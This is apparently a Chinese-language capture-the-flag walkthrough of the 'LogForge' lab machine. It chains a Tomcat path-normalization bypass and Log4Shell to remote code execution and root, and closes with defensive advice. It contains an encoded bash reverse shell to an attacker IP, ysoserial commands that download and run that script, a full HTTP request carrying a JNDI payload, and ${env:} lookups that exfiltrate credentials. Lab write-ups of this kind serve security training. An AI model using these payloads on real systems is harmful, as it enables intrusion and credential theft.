[Meachines] [Medium] LogForge PNA+Log4j+Env leakage
字数 1056 2025-08-29 22:41:38

LogForge 渗透测试教学文档:PNA+Log4j+环境变量泄露漏洞利用

1. 信息收集阶段

1.1 目标识别

  • IP地址: 10.10.11.138
  • 开放端口:
    • TCP 22: OpenSSH 8.2p1 (Ubuntu Linux)
    • TCP 80: Apache httpd 2.4.41 (Ubuntu)

1.2 扫描技术

使用以下命令进行高效扫描:

ip='10.10.11.138'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
    nmap -Pn -sV -sC -p "$ports" "$ip"
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
  fi
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

2. 路径规范化攻击(Path Normalization Attack)

2.1 漏洞背景

Apache中间件和Tomcat协调不当会导致解析错误,造成目录穿越漏洞。

参考资源:

2.2 漏洞验证

尝试访问Tomcat管理器界面:

http://10.10.11.138/test/..;/manager/

发现无法上传war包,受到大小限制。

3. Log4j漏洞利用

3.1 漏洞发现

系统使用Log4j进行日志记录,存在Log4Shell漏洞(CVE-2021-44228)。

3.2 攻击准备

  1. 下载必要工具:

  2. 准备反弹shell脚本:

echo IyEvYmluL2Jhc2gKCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMjEvNDQzIDA+JjEK | base64 -d > rev.sh

解码后内容为:

#!/bin/bash

bash -i >& /dev/tcp/10.10.16.21/443 0>&1
  1. 启动HTTP服务器:
python3 -m http.server 80

3.3 生成恶意序列化对象

java -jar ysoserial-all.jar CommonsCollections5 "wget 10.10.16.21/rev.sh -O /tmp/rev.sh" > exp.ser
java -jar ysoserial-all.jar CommonsCollections5 "bash /tmp/rev.sh" > exp.ser

3.4 启动JNDI服务器

java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -L 10.10.16.21:1389 -P exp.ser

3.5 触发漏洞

发送包含恶意JNDI查找的HTTP请求:

POST /x/..;/manager/html/expire?path=/ HTTP/1.1
Host: 10.10.11.138
Content-Length: 37
Cache-Control: max-age=0
Authorization: Basic dG9tY2F0OnRvbWNhdA==
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.138
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.138/x/..;/manager/html/expire
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=7677CE99BF79B82026D59355C960A40B
Connection: close

idle=${jndi:ldap://10.10.16.21/log4j}

4. 权限提升:环境变量泄露

4.1 发现FTP服务

在目标系统上发现:

/root/ftpServer-1.0-SNAPSHOT-all.jar

4.2 反编译分析

FTP服务从环境变量中获取凭据:

private String validUser = System.getenv("ftp_user");
private String validPassword = System.getenv("ftp_password");

4.3 利用Log4j泄露环境变量

  1. 启动JNDI服务器:
java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -L 10.10.16.21:1389
  1. 通过FTP服务触发环境变量泄露:
ftp 127.0.0.1
Name (127.0.0.1:tomcat): ${jndi:ldap://10.10.16.21/ftp}
Name (127.0.0.1:tomcat): ${jndi:ldap://10.10.16.21:1389/${env:ftp_user}}
Name (127.0.0.1:tomcat): ${jndi:ldap://10.10.16.21:1389/${env:ftp_password}}
  1. 获取到的凭据:
  • 用户名: ippsec
  • 密码: log4j_env_leakage

4.4 获取root权限

使用获取的凭据登录FTP服务,最终获取root权限。

5. Flag获取

  • 用户flag: db5c9789a7e1a00a3db893fb771902be
  • root flag: 9dc56a5de92c2e135b6492f878218754

6. 关键点总结

  1. 路径规范化攻击:利用Apache和Tomcat解析差异实现目录穿越
  2. Log4Shell漏洞:通过JNDI注入实现RCE
  3. 环境变量泄露:利用Log4j的日志记录功能泄露敏感环境变量
  4. 权限提升链:从Tomcat用户到root的完整提权路径

7. 防御建议

  1. 及时更新Log4j到安全版本
  2. 避免在环境变量中存储敏感信息
  3. 配置Tomcat和Apache的路径解析规则保持一致
  4. 实施最小权限原则,限制服务账户权限
LogForge 渗透测试教学文档:PNA+Log4j+环境变量泄露漏洞利用 1. 信息收集阶段 1.1 目标识别 IP地址: 10.10.11.138 开放端口: TCP 22: OpenSSH 8.2p1 (Ubuntu Linux) TCP 80: Apache httpd 2.4.41 (Ubuntu) 1.2 扫描技术 使用以下命令进行高效扫描: 2. 路径规范化攻击(Path Normalization Attack) 2.1 漏洞背景 Apache中间件和Tomcat协调不当会导致解析错误,造成目录穿越漏洞。 参考资源: BlackHat演讲 HackerOne报告 2.2 漏洞验证 尝试访问Tomcat管理器界面: 发现无法上传war包,受到大小限制。 3. Log4j漏洞利用 3.1 漏洞发现 系统使用Log4j进行日志记录,存在Log4Shell漏洞(CVE-2021-44228)。 3.2 攻击准备 下载必要工具: ysoserial-all.jar JNDI-Exploit-Kit 准备反弹shell脚本: 解码后内容为: 启动HTTP服务器: 3.3 生成恶意序列化对象 3.4 启动JNDI服务器 3.5 触发漏洞 发送包含恶意JNDI查找的HTTP请求: 4. 权限提升:环境变量泄露 4.1 发现FTP服务 在目标系统上发现: 4.2 反编译分析 FTP服务从环境变量中获取凭据: 4.3 利用Log4j泄露环境变量 启动JNDI服务器: 通过FTP服务触发环境变量泄露: 获取到的凭据: 用户名: ippsec 密码: log4j_env_leakage 4.4 获取root权限 使用获取的凭据登录FTP服务,最终获取root权限。 5. Flag获取 用户flag: db5c9789a7e1a00a3db893fb771902be root flag: 9dc56a5de92c2e135b6492f878218754 6. 关键点总结 路径规范化攻击 :利用Apache和Tomcat解析差异实现目录穿越 Log4Shell漏洞 :通过JNDI注入实现RCE 环境变量泄露 :利用Log4j的日志记录功能泄露敏感环境变量 权限提升链 :从Tomcat用户到root的完整提权路径 7. 防御建议 及时更新Log4j到安全版本 避免在环境变量中存储敏感信息 配置Tomcat和Apache的路径解析规则保持一致 实施最小权限原则,限制服务账户权限